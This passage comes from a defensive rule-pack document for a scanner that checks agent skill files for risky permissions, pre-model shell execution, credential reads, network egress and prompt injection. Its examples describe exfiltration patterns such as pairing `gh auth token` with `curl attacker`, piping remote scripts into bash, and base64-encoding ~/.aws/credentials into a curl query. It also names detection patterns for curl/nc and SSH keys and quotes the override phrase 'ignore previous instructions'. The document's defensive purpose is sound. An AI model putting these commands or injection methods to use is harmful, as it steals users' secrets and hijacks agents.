(LLM03, supply chain), so an +over-privileged template propagates its blast radius wherever it is reused. + +--- + +## Rule-by-rule defense + +### CSKILL-001 — Skill auto-approves unrestricted shell (critical, 0.95, config) + +**What we detect:** `allowed-tools` grants unrestricted shell — a bare `Bash` +token or a wildcard `Bash(*)` / `Bash(:*)` (`skill_allows_unrestricted_shell`). + +**Why it is flaggable:** `allowed-tools` is an auto-approval list. An +unrestricted `Bash` grant means any shell command the skill issues runs without +a prompt — combined with bundled scripts and dynamic-context commands, that is +arbitrary local code execution on activation. + +**Real-world consequence:** A "setup helper" skill shipping `allowed-tools: +Bash(*)` runs any command it (or an injected instruction) chooses the moment it +activates, with no per-command approval. + +**Why critical:** Auto-approved arbitrary shell is maximal agency *and* the +approval gate — the user's last line of defense — is removed. Confidence 0.95: +the grant is read directly from frontmatter; the only gap is a skill that +genuinely needs broad shell (a build runner), which should still scope its +grants. + +### CSKILL-002 — Skill runs shell during load, dynamic-context execution (high, 0.9, config) + +**What we detect:** The body contains dynamic-context execution — inline +`` !`cmd` `` or a ` ```! ` block (`skill_body_has_dynamic_exec`). + +**Why it is flaggable:** These commands run pre-model. Whatever they do has +already happened before Claude — or its injection defenses — can weigh in. + +**Real-world consequence:** A skill that inlines `` !`gh pr diff` `` is benign; +the same mechanism with a side-effecting or data-reading command is not, and the +two are indistinguishable to the model because neither reaches it as a tool call. + +**Why high (not critical):** Presence of dynamic-context execution is a strong +risk signal but not proof of harm (read-only uses exist) — CSKILL-003 escalates +the egress/secret case to critical. Confidence 0.9: the grammar match is precise. + +### CSKILL-003 — Dynamic-context command performs network egress or reads secrets (critical, 0.85, config) + +**What we detect:** A dynamic-context command matches network egress +(`curl`/`wget`/`nc`/…) or credential/secret access (`gh auth`, `$AWS_*`, +`~/.aws`, `~/.ssh`, `id_rsa`, `*_key`, …) (`skill_dynamic_exec_touches_network_or_secrets`). + +**Why it is flaggable:** This is the pre-model exfiltration primitive: a secret +is read, or data is shipped out, during skill load — before any review. + +**Real-world consequence:** The documented "Clawsights"-style attack — +`` !`gh auth token` `` paired with a `` !`curl attacker` `` — harvests a token +and exfiltrates it at activation, fully outside the model's view. + +**Why critical:** Confidentiality impact realized before any gate, via a +mechanism designed to be invisible to the model. Confidence 0.85 (below 001): +the egress/secret heuristic can match a legitimate read-only command, so a +small false-positive margin is priced in. + +### CSKILL-010 — Bundled skill script performs network egress (high, 0.7, code) + +**What we detect:** A script bundled in the skill's directory (a `.sh`/`.py`/… +file the skill can run via Bash) makes outbound network calls — `curl`/`wget`/ +`nc`/… — found by reading the script's **content**, not just inventorying its +path (`skill_bundled_script_network_egress`). + +**Why it is flaggable:** Body-only scanners read `SKILL.md` and miss payloads +parked in an auxiliary or "test" file. A bundled `curl … | bash` loads and runs +remote code on activation; paired with credential access in the same script it +becomes data exfiltration. + +**Real-world consequence:** The Snyk/VentureBeat "test-file bypass" — a skill +whose `SKILL.md` looks benign but whose `scripts/setup.sh` pipes a remote script +into a shell, executed with the user's privileges the moment the skill runs. + +**Why high / confidence 0.7:** Egress in a bundled script is a strong signal but +not proof of harm (a script may legitimately fetch a pinned dependency), so it is +high rather than critical, with a confidence that prices in benign installers. + +### CSKILL-011 — Bundled skill script reads credentials or secrets (critical, 0.8, code) + +**What we detect:** A bundled script reads credentials or secrets — `gh auth`, +`$AWS_*`, `~/.aws`, `~/.ssh`, `id_rsa`, `*_key`, … — detected by reading the +script body (`skill_bundled_script_reads_secrets`). + +**Why it is flaggable:** A skill runs its bundled scripts, so a credential read +hidden outside `SKILL.md` is a theft primitive that body-only scanning never +sees. Combined with a network call in the same script (CSKILL-010) it is direct +credential exfiltration. + +**Real-world consequence:** A "sync auth" helper whose bundled script reads +`~/.aws/credentials` and base64-encodes it into a `curl` query string — exactly +the aux-file payload competitor tools demonstrably miss. + +**Why critical:** Confidentiality impact (credential theft) realized on +activation and hidden from review. Confidence 0.8: the secret-read heuristic can +match a legitimate credential-management script, so a small false-positive margin +is priced in below the auto-shell rules. + +### CSKILL-020 — Skill fetches untrusted external content (medium, 0.7, config) + +**What we detect:** The body references an external `http(s)` URL +(`skill_references_external_url`). + +**Why it is flaggable:** Fetched external content is an indirect-injection vector +(LLM01) and the URL is a candidate exfiltration endpoint; external dependencies +can also change after review. + +**Why medium / confidence 0.7:** Many legitimate skills cite a doc URL, so URL +presence alone is a review prompt, not a verdict — hence medium and a confidence +that admits frequent benign matches. + +### CSKILL-040 — Skill body contains prompt-injection markers (medium, 0.6, config) + +**What we detect:** Instruction-override phrasing ("ignore previous +instructions"), invisible Unicode used to smuggle hidden text (zero-width +characters, the Unicode Tags block U+E0000–E007F, or bidirectional overrides), or +a long base64 blob (`skill_body_has_injection_marker`). + +**Why it is flaggable:** The description and body enter Claude's context, so an +injected instruction here can hijack the agent (LLM01) — including one a human +reviewer literally cannot see. Invisible-Unicode smuggling (Tags-block "ASCII +smuggling", Trojan-Source bidi overrides) and base64 blobs have no legitimate +place in skill prose. + +**Why medium / confidence 0.6:** The heuristics are deliberately broad and +FP-prone (a base64 data sample, a doc *about* prompt injection) — the lowest +confidence in the pack, shipped as a review nudge, not an assertion. + +### CSKILL-050 — Model-invocable skill grants side-effecting tools (high, 0.8, config) + +**What we detect:** The skill is model-invocable (no `disable-model-invocation`) +**and** pre-approves a side-effecting tool — `Bash`/`Write`/`Edit`/`WebFetch`/ +`NotebookEdit` (`all` of `skill_model_invocable` + `skill_allows_tool`). + +**Why it is flaggable:** Claude can trigger the skill on its own — steered by an +ambiguous request or an injected instruction — and the skill's auto-approved +tools then act without the user choosing to (LLM06). + +**Why high / confidence 0.8:** Two conditions must hold, so the match is +specific; the residual gap is a skill that legitimately wants model invocation +*and* a write tool (rare for a safe design). + +--- + +## What this policy does not cover (v1) + +- **Bundled-script risks beyond egress/secret-read.** CSKILL-010/011 now read + bundled scripts for network egress and credential reads, but other in-script + risks (destructive filesystem ops, obfuscated/encoded payloads that evade the + regex) are not yet modeled. +- **Hardcoded secrets** in `SKILL.md` or bundled files. (Planned: CSKILL-030.) +- **Description-vs-capability mismatch** — judging a "read-only-sounding" + description against its grants is heuristic and FP-prone; deferred. +- **Obfuscated payloads** — aliased/encoded dynamic-context commands evade the + egress/secret regex; a determined attacker can hide intent. +- **Whether `disableSkillShellExecution` is set** in managed settings (which + would neutralize the dynamic-context rules) — a possible false positive the + static check cannot see. +- **Runtime-fetched remote instructions** — the rules see the fetch (CSKILL-020), + not the payload, which can change after review. + +--- + +## Recommendations beyond the fix + +```yaml +--- +name: summarize-changes +description: Summarize uncommitted changes. Read-only; cannot run commands. +allowed-tools: Read Grep Bash(git diff *) Bash(git status *) +disable-model-invocation: true +--- + +Summarize the working-tree changes and flag anything risky. +``` + +1. **Least privilege:** enumerate exact commands in `allowed-tools` + (`Bash(git diff *)`), never `Bash(*)`; prefer read-only tools. +2. **No pre-model side effects:** keep dynamic-context `` !`…` `` to read-only, + side-effect-free data; never read credentials or hit the network there. +3. **Gate auto-invocation:** set `disable-model-invocation: true` on any skill + that carries side effects, so only the user can trigger it. +4. **Treat skills as third-party code:** review `SKILL.md` and every bundled file + before trusting a repo; for untrusted environments, set + `disableSkillShellExecution: true` in managed settings.